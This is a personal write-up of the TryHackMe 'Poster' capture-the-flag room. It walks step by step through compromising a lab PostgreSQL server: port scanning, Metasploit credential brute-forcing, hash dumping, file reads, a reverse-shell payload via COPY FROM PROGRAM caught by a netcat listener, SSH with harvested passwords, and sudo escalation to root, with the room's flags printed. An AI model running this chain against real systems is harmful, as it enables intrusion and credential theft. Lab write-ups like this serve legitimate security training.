



Poster

☰ Completion	Complete
≡ Description	The sys admin set up a rdbms in a safe way
🔗 Cover	
🕒 Platform	Try Hack Me

Overview

Depending on the EF Codd relational model, an RDBMS allows users to build, update, manage, and interact with a relational database, which stores data as a table.

Today, several companies use relational databases instead of flat files or hierarchical databases to store business data. This is because a relational database can handle a wide range of data formats and process queries efficiently. In addition, it organizes data into tables that can be linked internally based on common data. This allows the user to easily retrieve one or more tables with a single query. On the other hand, a flat file stores data in a single table structure, making it less efficient and consuming more space and memory.

Most commercially available RDBMSs currently use Structured Query Language (SQL) to access the database. RDBMS structures are most commonly used to perform CRUD operations (create, read, update, and delete), which are critical to support consistent data management

Question 1: What is the rdbms installed on the server PostgreSQL

Question 2: the port rdbms is running on is 5432

👁 Reconnaissance

```
sudo nmap -sS -sV -T4 -p- 10.201.1.158
[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-12 15:22 E
DT
Nmap scan report for 10.201.1.158
Host is up (0.054s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (U
buntu Linux; protocol 2.0)
80/tcp    open  http         Apache httpd 2.4.18 ((Ubuntu))
5432/tcp  open  postgresql   PostgreSQL DB 9.5.8 - 9.5.10 or 9.
5.17 - 9.5.23
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

- I used attackerKB to find a vulnerability

A Rapid7 Project

[Activity Feed](#) [Topics](#) [About](#) [Leaderboard](#)

Topics 3

Users 0

Clear All

CVE Year

CVE State

Disclosure Date

CVSS Score

Attack Vector

PostgreSQL 9.5.8

3 Total Results

ATTACKER VALUE ①

UNKNOWN

CVE-2017-7547

Disclosure Date: August 16, 2017 (last updated August 12, 2025)

PostgreSQL versions before 9.2.22, 9.3.18, 9.4.13, 9.5.8 and 9.6.4 are vulnerable to authorize to retrieve passwords from the user mappings defined by the foreign server owners with

☰ Metasploit- Finding Login

- I search on metasploit and went with number 25. you must choose an auxillary module, and 25 was correct

```
20 exploit/multi/postgres/postgres_createlang
6-01-01 good Yes PostgreSQL CREATE LANGUAGE Execution
21 auxiliary/scanner/postgres/postgres_dbname_flag_injection
normal No PostgreSQL Database Name Command Line Flag Injection
22 auxiliary/scanner/postgres/postgres_login
normal No PostgreSQL Login Utility
23 auxiliary/admin/postgres/postgres_readfile
normal No PostgreSQL Server Generic Query
24 auxiliary/admin/postgres/postgres_sql
normal No PostgreSQL Server Generic Query
25 auxiliary/scanner/postgres/postgres_version
normal No PostgreSQL Version Probe
26 exploit/linux/postgres/postgres_payload
7-06-05 address excellent Yes PostgreSQL for Linux Payload Execution
27 \_ target: Linux x86
```

- I changed the correct rhost and had a complete scan, i also found the correct credentials

```
msf6 auxiliary(scanner/postgres/postgres_login) > set RHOSTS 10.201.1.158
RHOSTS => 10.201.1.158
msf6 auxiliary(scanner/postgres/postgres_login) > exploit
[*] No active DB -- Credential data will not be saved!
[-] 10.201.1.158:5432 - LOGIN FAILED: :@template1 (Incorrect: Invalid username or password)
[-] 10.201.1.158:5432 - LOGIN FAILED: :tiger@template1 (Incorrect: Invalid username or password)
[-] 10.201.1.158:5432 - LOGIN FAILED: :postgres@template1 (Incorrect: Invalid username or password)
[-] 10.201.1.158:5432 - LOGIN FAILED: :password@template1 (Incorrect: Invalid username or password)
[-] 10.201.1.158:5432 - LOGIN FAILED: :admin@template1 (Incorrect: Invalid username or password)
[-] 10.201.1.158:5432 - LOGIN FAILED: :postgres@template1 (Incorrect: Invalid username or password)
[-] 10.201.1.158:5432 - LOGIN FAILED: :postgres:tiger@template1 (Incorrect: Invalid username or password)
[-] 10.201.1.158:5432 - LOGIN FAILED: :postgres:postgres@template1 (Incorrect: Invalid username or password)
[+] 10.201.1.158:5432 - Login Successful: postgres:password@template1
[-] 10.201.1.158:5432 - LOGIN FAILED: :scott@template1 (Incorrect: Invalid username or password)
[-] 10.201.1.158:5432 - LOGIN FAILED: :scott:tiger@template1 (Incorrect: Invalid username or password)
[-] 10.201.1.158:5432 - LOGIN FAILED: :scott:postgres@template1 (Incorrect: Invalid username or password)
[-] 10.201.1.158:5432 - LOGIN FAILED: :scott:password@template1 (Incorrect: Invalid username or password)
[-] 10.201.1.158:5432 - LOGIN FAILED: :scott:admin@template1 (Incorrect: Invalid username or password)
[-] 10.201.1.158:5432 - LOGIN FAILED: :admin@template1 (Incorrect: Invalid username or password)
[-] 10.201.1.158:5432 - LOGIN FAILED: :admin:tiger@template1 (Incorrect: Invalid username or password)
[-] 10.201.1.158:5432 - LOGIN FAILED: :admin:postgres@template1 (Incorrect: Invalid username or password)
[-] 10.201.1.158:5432 - LOGIN FAILED: :admin:password@template1 (Incorrect: Invalid username or password)
```

- I then changed one of the options to create a session and this is what i did

```
auxiliary(scanner/postgres/postgres_login) > sessions -l
```

Active sessions

=====

Id	Name	Type	Information
1	postgresql	x86_64/Linux	PostgreSQL postgres @ 10.201.10.6.58.154:40985 -> 10.201.1.158:5432 (10.201.1.158)

```
msf6 auxiliary(scanner/postgres/postgres_login) > sessions -i 1
```

```
[*] Starting interaction with 1...
```

```
postgresql @ 10.201.1.158:5432 (template1) >
```

Discovering DB Version

I exited out the above query, thats not what I want. However I figured out `auxiliary/admin/postgres/postgres_sql` module will let me execute commands with login `postgres:password`

- I now have the version number and will find a module for dumping hashes

```
msf6 auxiliary(admin/postgres/postgres_sql) > exploit
```

```
[*] Running module against 10.201.1.158
```

```
Query Text: 'select version()'
```

=====

```
version
```

```
-----
```

```
PostgreSQL 9.5.21 on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 5.4.0-6ubuntu1~16.04.12) 5.4.0 20160609, 64-bit
```

Dumping Hashes

- after searching, `auxiliary/scanner/postgres/postgres_hashdump` looks to be a suitable module

```
[+] Query appears to have run successfully
```

```
[+] Postgres Server Hashes
```

```
=====
```

Username	Hash
-----	----
darkstart	md58842b99375db43e9fdf238753623a27d
poster	md578fb805c7412ae597b399844a54cce0a
postgres	md532e12f215ba27cb750c9e093ce4b5127
sistemas	md5f7dbc0d5a06653e74da6b1af9290ee2b
ti	md57af9ac4c593e9e4f275576e13f935579
tryhackme	md503aab1165001c8f8ccae31a8824efddc

- I discovered **6** hashes. My next task is to find [module that allows an authenticated user to view files of their choosing on the server.](#)

View Files of Choice on Server as Authenticated user

- ▼ `auxiliary/admin/postgres/postgres_readfile` to complete this.

```
#!/home/dark/credentials.txt
alison:x:1000:1000:Poster,,,:/home/alison:/bin/bash
postgres:x:109:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
dark:x:1001:1001:./home/dark:
[+] 10.201.1.158:5432 Postgres - /etc/passwd saved in /home/kali/.msf4/loot/20250812164133_default_10.201.1.158_postgres.file_781636.txt
[*] Auxiliary module execution completed
```

↓ Arbitrary Command Execution

- After collecting information above, I can now find an exploit module that allows command execution with proper credentials. This module seemed best fit

`exploit/multi/postgres/postgres_copy_from_program_cmd_exec`

```
19 exploit/multi/postgres/postgres_copy_from_program_cmd_exec
-03-20 excellent Yes PostgreSQL COPY FROM PROGRAM Command Execution
20 \_ target: Automatic
```

This is how I set my options

Name	Current Setting	Required
DATABASE	postgres	no
PASSWORD	password	no
RHOSTS	10.201.1.158	no
RPORT	5432	no
USERNAME	postgres	no

payload options (cmd/unix/reverse_perl)

Name	Current Setting	Required	Default
LHOST	10.6.58.154	yes	TH
LPORT	4444	yes	TH

- I did `exploit` and then opened listening port using `nc -lvp 4444` and checked `whoami`

```
whoami
postgres
```

- I will now do some looking around to locate `user.txt`

Accessing User.txt

- I said it was located /home/alison/user.txt, but I could view it from the table I had. to the random name allytable

```
sessions -l
  Id  Name  Type                Information
Connection
  --  ----  ----                -
-----
    2          postgresql x86_64/Linux PostgreSQL postgres @ 1
0.201.  10.6.58.154:42797 -> 10.201.1.
                                1.158:5432
158:5432 (10.201.1.158)
    4          shell cmd/unix
10.6.58.154:4444 -> 10.201.1.1

58:52390 (10.201.1.158)
sessions -i 2
```

- ~~I changed tablename to allytable and ran the program again, ill now try and access the user file~~

```
msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set tablename allytable
tablename => allytable
msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > sessions -i 4
[*] Starting interaction with 4...

pwd
/var/lib/postgresql/9.5/main
```

- type in the netcat kali side!! I have access

```
(kali@kali) [ ]
$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.6.58.154] from (UNKNOWN) [10.201.1.158] 52402
id
uid=109(postgres) gid=117(postgres) groups=117(postgres),116(ssl-cert)
```

- I recall earlier finding this `/home/dark/credentials.txt`

```
cd /home/dark/
ls -la
total 28
drwxr-xr-x 2 dark dark 4096 Jul 28 2020 .
drwxr-xr-x 4 root root 4096 Jul 28 2020 ..
-rw----- 1 dark dark 26 Jul 28 2020 .bash_history
-rw-r--r-- 1 dark dark 220 Aug 31 2015 .bash_logout
-rw-r--r-- 1 dark dark 3771 Aug 31 2015 .bashrc
-rwxrwxrwx 1 dark dark 24 Jul 28 2020 credentials.txt
-rw-r--r-- 1 dark dark 655 May 16 2017 .profile
cat credentials.txt
dark:qwerty1234#!hackme
```

SSH with found Credentials

```
ssh dark@10.201.1.158
```

I login to darks account with password `qwerty1234#!hackme` . I searched for config.php file like so and discovered allisons password

```
ls -la /var/www/html
total 16
drwxr-xr-x 3 root root 4096 Jul 28 2020 .
drwxr-xr-x 3 root root 4096 Jul 28 2020 ..
-rwxrwxrwx 1 alison alison 123 Jul 28 2020 config.php
drwxr-xr-x 4 alison alison 4096 Jul 28 2020 poster
-----
```



```
-----  
cat /var/www/html/config.php  
<?php  
  
    $dbhost = "127.0.0.1";  
    $dbuname = "alison";  
    $dbpass = "p4ssw0rdS3cur3!#";  
    $dbname = "mysudopassword";
```

🕒 Accessing .txt Files & Escalating Privileges

- I `ssh alison` → used `sudo -l` along with her password `p4ssw0rdS3cur3!#` like below:

```
ssh alison@10.201.1.158  
alison@10.201.1.158's password:  
Last login: Tue Jul 28 20:35:40 2020 from 192.168.85.142  
alison@ubuntu:~$ pwd  
/home/alison  
alison@ubuntu:~$ cat user.txt  
THM{postgresql_fall_configuration}
```

- I then did `sudo bash`

```
alison@ubuntu:~$ sudo bash  
root@ubuntu:~# pwd  
/home/alison  
root@ubuntu:~# ls -la  
total 40  
drwxr-xr-x 4 alison alison 4096 Jul 28 2020 .  
drwxr-xr-x 4 root   root   4096 Jul 28 2020 ..  
-rw----- 1 alison alison 2444 Jul 28 2020 .bash_history  
-rw-r--r-- 1 alison alison  220 Jul 28 2020 .bash_logout
```

```
-rw-r--r-- 1 alison alison 3771 Jul 28 2020 .bashrc
drwx----- 2 alison alison 4096 Jul 28 2020 .cache
drwxr-xr-x 2 alison alison 4096 Jul 28 2020 .nano
-rw-r--r-- 1 alison alison 655 Jul 28 2020 .profile
-rw-r--r-- 1 alison alison 0 Jul 28 2020 .sudo_as_admin_successful
-rw----- 1 alison alison 35 Jul 28 2020 user.txt
-rw-r--r-- 1 root root 183 Jul 28 2020 .wget-hsts
root@ubuntu:~# find / -type f -name "root.txt" 2>/dev/null
/root/root.txt
root@ubuntu:~# cat /root/root.txt
THM{c0ngrats_for_read_the_file_wlth_credentials}
```